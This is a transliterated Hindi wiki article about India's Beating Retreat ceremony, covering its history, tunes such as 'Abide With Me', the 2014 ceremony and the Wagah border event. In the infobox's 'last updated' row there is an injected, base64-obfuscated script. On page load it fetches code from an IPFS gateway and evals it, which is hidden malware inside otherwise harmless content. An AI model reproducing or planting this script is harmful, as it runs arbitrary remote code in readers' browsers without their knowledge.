बीटिंग द रिट्रीट
bitiang d ritrit
| |
| vivaran | bitiang d ritrit ganatantr divas ke avasar par hue ayojanoan ka adhikarik roop se samapan ghoshit karata hai. is karyakram mean thal sena, vayu sena aur nausena ke baiand paranparik dhun ke sath march karate haian. |
| tithi | 29 janavari |
| ayojan-karyakram | yah ayojan tin senaoan ke ek sath milakar samoohik baiand vadan se aranbh hota hai jo lokapriy marchiang dhunean bajate haian. dramar bhi ekal pradarshan karate haian. dramars dvara ebaidid vid mi (mahatma gaandhi ki priy dhunoan mean se ek) bajaee jati hai. |
| mukhy atithi | bharatiy rashtrapati |
| any janakari | ganatantr divas pared mean hone vale motarasaikil pradarshan jaisi ek tasvir dikhate hue googal ke doodal ne 26 janavari, 2014 ko bharat ka 65vaan ganatantr divas manaya. |
| adyatan | 17:16, 27 janavari 2022 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
bitiang d ritrit (aangrezi: Beating The Retreat) bharat mean ganatantr divas ke avasar par hue ayojanoan ka adhikarik roop se samapan ki ghoshana hai. is karyakram mean thal sena, vayu sena aur nausena ke baiand paranparik dhun ke sath march karate haian. yah sena ki bairak vapasi ka pratik hai. sabhi mahathvapoorn sarakari bhavanoan ko 26 janavari se 29 janavari ke bich roshani se suandaratapoorvak sajaya jata hai.
kya hai 'bitiang d ritrit'
[[chitr:Beating Retreat-flag.jpg|thumb|left|'bitiang d ritrit' ke avasar par rashtriy dhvaj ko utarate hue]] 'bitiang d ritrit' solahavian sadi ke briten ki paranpara hai. 'bitiang d ritrit seremani' ka asali nam 'v aauch setiang' hai aur soory doobane ke samay yah samaroh hota hai. 18 joon, 1690 mean ianghlaiand ke raja jemhs too ne apani senaoan ko unake troophs ke vapas ane par dram bajane ka adesh diya tha. san 1694 mean viliyam thard ne rejimeant ke kaiphtan ko troophs ke vapas ane par galiyoan mean dram bajakar unaka shvagat karane ka naya adesh jari kiya.[1] lekin bharat mean yah samaroh ganatantr divas jalasoan ke adhikarik samapan ka soochak hai. is din shanadar dhang se vidaee samaroh ayojit hota hai aur is rasm mean rashtrapati vishesh taur se padharate haian.
'bitiang d ritrit' sadiyoan purani sainy paranpara hai, jisake tahat jab senaean sooryast ke bad yuddh maidan se vapas lautati thian, to ek vapasi bigul bajaya jata tha, jisaka matalab hota tha ki ab l daee rok di jae, to sabhi apane hathiyar rakh dete the aur yuddh sthal se chale jate the. ise hi 'bitiang d ritrit' kaha jata hai. har sal isi tarz par 26 janavari ke char divasiy karyakram ke dauran akhiri din vijay chauk par ‘bitiang d ritrit’ ka ayojan hota hai. is dauran kee alag-alag baiand apani prastuti dete haian aur bad mean ritrit ka bigul vadan hota hai. jab sabhi baiand mastar rashtrapati ke pas jakar apane-apane baiand vapas le jane ki anumati maangate haian. is bigul ke zarie ye bataya jata hai ki karyakram samapt ho gaya hai.[2]
2022 ka samaroh
sal 1950 se lagatar is karyakram ke samapan mean 'abaid vid mi' (Abide With Me) gane ki dhun bajaee ja rahi hai, lekin sal 2020 mean ek khabar mean kaha gaya ki ab 'bitiang d ritrit' seremani mean 'abaid vid mi' gane ki dhun nahian bajaee jaegi aur isaki jagah 'vande mataram' bajega. halaanki, tab aisa nahian hua aur 2020 aur 2021 mean ise hi bajaya gaya.
gane ka itihas
iandiyan eksapres ki ek riport ke anusar, is gane ko sk aautalaiand ke eangalikan ministar henari fraansis ne likha tha. sadagi aur dukh mean gae jane vale is gane ko 'him' kaha jata hai, jise zyadatar charch mean gaya jata tha. ise aksar iantaraneshanal myoozik kapoanzar viliyam henari moank ki tyoon par gaya jata hai. isilie is gane ko 'bitiang d ritrit' mean sena ke baiand ke dvara b de hi sadagi se bajaya jata hai. henari fraansis ne is gane ko 1820 mean likha tha, jab vo apane us dost se milakar jo apani aantim saans le raha tha. is dukhabhare gane mean unhoanne apane dard ko bataya tha aur 1847 mean apane marane tak ye gana apane pas hi rakha tha. pahali bar ye gana henari fraansis ke aantim sanskar ke mauke par hi gaya gaya tha. ye gana eesaee dharm mean kafi lokapriy hai. is gane ko taitainik ke doobane par aur pahale vishv yuddh ke dauran kee bar gaya gaya tha. ise bharatiy sena mean nahian, balki kee deshoan ki sena mean shahidoan ki yad mean gaya jata hai.[2]
bharat se rishta
kaha jata hai ki mahatma gaandhi ka 'vaishnav jan to' aur 'raghupati raghav raja ram' ke sath-sath 'abaid vid mi' gane ki dhun bhi unake fevaret ganoan mean se ek thi. is dhun ko gaandhiji ne sabase pahale maisoor pailes baiand se suna tha. tab se mana jata hai ki mahatma gaandhi ki vajah se bhi 'bitiang d ritrit' mean is dhun ko gaya jata hai.
samaroh ka ayojan
har varsh 29 janavari ki sham ko arthath ganatantr divas ke tisare din 'bitiang d ritrit' ka ayojan kiya jata hai. yah ayojan tin senaoan ke ek sath milakar samoohik baiand vadan se aranbh hota hai jo lokapriy marchiang dhunean bajate haian. dramar bhi ekal pradarshan (jise dramars k aaul kahate haian) karate haian. dramars dvara 'ebaidid vid mi' (yah mahatma gaandhi ki priy dhunoan mean se ek kahi jati hai) bajaee jati hai aur tyubular ghantiyoan dvara chaimhs bajaee jati haian, jo kafi doori par rakhi hoti haian aur isase ek manamohak drishhy banata hai. isake bad ritrit ka bigul vadan hota hai, jab tinoan sena ke baiand mashtar rashtrapati ke samip jate haian aur baiand vapis le jane ki anumati maangate haian. tab soochit kiya jata hai ki 'samapan samaroh' poora ho gaya hai. baiand march vapas jate samay lokapriy dhun sare jahaan se achhchha bajate haian. thik sham 6 baje 'bagalars ritrit' ki dhun bajate haian aur rashhtriy dhhvaj ko utar liya jata hai tatha rashhtragan gaya jata hai aur is prakar ganatantr divas ke ayojan ka aupacharik samapan hota haian.[3]
bitiang d ritrit ka prarambh
bharat mean bitiang d ritrit seremani ki shuruat san 1950 se huee. us samay bharatiy sena ke mejar r aaubarts ne is seremani ko senaoan ke baiands ke dishphle ke sath poora kiya. is dishphle mean militri baiands, paiphs aur dram baiands, bagarlhs aur tranpetars ke sath armi ki vibhinhn rejimeants aur nausena aur vayu sena ke baiands bhi shamil the. is seremani ki shuruat tinoan senaoan ke baiands ke march ke sath hoti hai aur is dauran vah 'karnal boge march', 'sans aauph d brev' aur 'kadam-kadam badhae ja' jaisi dhunoan ko bajate haian. seremani ke dauran bharatiy sena ka baiand paranparik shk aautish dhunoan aur bharatiy dhunoan, jaise- 'gurakha briged,' nir ki 'sagar samrat' aur 'chaandani' jaisi dhunoan ko bajata hai. akhir mean sena, vayu sena aur nausena ke baiands ek sath paraph aaurm karate haian. ajakal k aaumanavelhth deshoan ki senaean is samaroh ko paranpara ke taur par nibhati haian. is samaroh ko kuchh log ne baiand meanbars ke lie unaka kaushal sabit karane vala tesht manate haian to kuchh ise kathin drilhs ke abhhyas ka tarika bhi manate haian.
do bar radd hua karyakram
varsh 1950 mean bharat ke ganatantr banane ke bad 'bitiang d ritrit' karyakram ko ab tak do bar radd karana p da hai, 27 janavari 2009 ko bhootapoorv rashtrapati ramasvami veankataraman ka lanbi bimari ke bad armi risarch eand repharal aspatal mean nidhan ho jane ke karan bitiang d ritrit karyakram radd kar diya gaya. vah bharat ke athavean rashtrapati the aur unaka karyakal 1987 se 1992 tak raha. isase pahale 26 janavari 2001 ko gujarat mean ae bhookanp ke karan bitiang d ritrit karyakram ko radd kar diya gaya tha.
bitiang ritrit samaroh 2014
[[chitr:Beating-retreat-2014.jpg|thumb|left|ganatantr divas samaroh 2014 ke avasar par shahi baggi mean bharatiy rashtrapati pranab mukharji]] 29 janavari ko dilli mean rangarang bitiang ritrit samaroh ke sath ganatantr divas samaroh ka samapan ho gaya. budhavar sham vijayachauk par chale sangitamay samaroh mean tinoan bharatiy senaoan ke baiandoan ne ekal aur samoohik prastuti dian. samaroh ki khasiyat ve nee dhunean rahian, jinhean is varsh khasataur par taiyar kiya gaya tha. is poore karyakram mean ek aur khas bat rahian ki bis sal bad rashtrapati pranab mukharji ne 16vian sadi se chali a rahi ek paranpara ko punajirvit karate hue aj ganatantr divas ki samapan pared 'bitiang ritrit' ke lie gho de baggi par savar hokar rajapath par sainy baloan ki tuk diyoan ko gaje baje ke sath bairakoan mean vapas bheja. is mauke par rashtrapati pranab mukharji ke sath uparashtrapati hamid aansari, pradhanamantri d aau.manamohan sianh, rakshamantri e. ke. eantani aur dilli ke mukhyamantri araviand kejarival jaise kee ganamany logoan ne samaroh ka anand liya.
samaroh ki kee prastutiyaan logoan ke akarshan ka keandr banian. is samaroh ki shuruat 'jahaan dal-dal par sone ki chi diya' dhun se huee. ise mejar maheandr das ne taiyar kiya tha. phir soobedar jaman sianh dvara rachit dhun 'he kaancha' par paip aur dram ko bajaya gaya. vahian nayab soobedar dinanath dvara taiyar ki gee dhun 'pae jaande pale' ko pahali bar pesh kiya gaya. mahatma gaandhi ki pasandida dhun 'abaid vid mi' ko jab sena ke baiand ne prastut kiya, to vijay chauk par samaroh ke sakshi banane ae hajaroan log taliyaan bajane ko majaboor ho ge. is sal bitiang ritrit mean 14 militri baiand aur armi ki vibhinn rejimeant ke paip aur dram ne bhag liya. isake alava bharatiy nausena aur vayu sena ke militri baiandoan ne bhi samaroh mean hissa liya. vahian samaroh ke samapan ke samay rashtrapati bhavan, n aaurth v sauth bl aauk ke alava sansad bhavan par ki gee laitiang ka nazara dekh sabhi log dang rah ge.[4]
[[chitr:Google-doodle-republic-day-india.jpg|thumb|bharat ke 65vean ganatantr divas par googal doodal]]
eshiyan gemhs samaroh
isi tarah ka samaroh varsh 1982 mean desh mean sanpanhn hue eshiyan gemhs ke samay prastut kiya gaya tha. bharatiy sena ke sevanivritt sangit nirdeshak shvargiy hairalhd joseph, bharatiy nausena ke jeroma r aaudrighs aur bharatiy vayu sena ke emes nir ko is samaroh ka shrey diya jata hai.
bagha b aaurdar
bharat aur pakistan ke amritasar sthit 'bagha b aaurdar' par is samaroh ki shuruat varsh 1959 mean ki gee thi. samaroh ko pratidin soory dhalane se kuchh ghante pahale prastut kiya jata hai. bagha b aaurdar par hone vale is samaroh mean bieseph aur pakishtan reanjars ke javan hishsa lete haian.[1]
googal doodal
ganatantr divas pared mean hone vale motar saikil pradarshan jaisi ek tasvir dikhate hue googal ke doodal ne ravivar, 26 janavari, 2014 ko bharat ka 65vaan ganatantr divas manaya tha. 26 janavari, 1950 ko bharat ka sanvidhan lagoo hua tha aur us din desh ne apana pahala ganatantr divas manaya tha. bharat ke rashtriy dhvaj ke tin rang- kesariya, safed aur hare rang ka doodal chalit nahian tha, lekin jab darshakoan ne is par klik kiya to sarch pej khabaroan aur ganatantr divas ki janakariyoan ke sath khula tha.[5]
bitiang ritrit chitr vithika
- chitr:Beating-Retreat-2014-8.jpg
- chitr:Beating-retreat-2014-5.jpg
- chitr:Beating-the-retreat-2014-2.jpg
- chitr:Beating-Retreat-2014-6.jpg
- chitr:Beating-Retreat-2014-9.jpg
- chitr:Beating-Retreat-2014-7.jpg
- chitr:Beating-retreat-2014-4.jpg
- chitr:Beating-retreat-2014-3.jpg
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 janie 26 janavari ke bad hone vali bitiang ritrit seremani ka mahathv (hindi) hindi.oneindia.com. abhigaman tithi: 31 janavari, 2017.
- ↑ 2.0 2.1 janiye kya hai 70 saloan se 'bitiang d ritrit' mean bajane vali dhun ki kahani (hiandi) hindi.scoopwhoop.com. abhigaman tithi: 27 janavari, 2022.
- ↑ ganatantr divas pared ka sidha prasaran (hindi) (pi.ech.pi) avirat yatra: jan-gan-man. abhigaman tithi: 30 janavari, 2014.
- ↑ bitiang ritrit mean chhaee rahi rashtrapati ki shahi baggi (hindi) (pi.ech.pi) samay laiv. abhigaman tithi: 30 janavari, 2014.
- ↑ googal doodal ne bhi manaya 65vaan ganatantr divas (hindi) (pi.ech.pi) hiandustan laiv. abhigaman tithi: 30 janavari, 2014.
bahari k diyaan
- bharatiy ganatantr divas ke bare mean janean (ek vidiyo)
- Google doodle celebrates India's 65th Republic Day
- rayasina hils se lalakile tak anoothi virasat-takat ka pradarshan
- ganatantr divas pared dekhane ke lie rajapath par um de log
- bitiang ritrit mean gooanji shanadar dhunean
sanbandhit lekh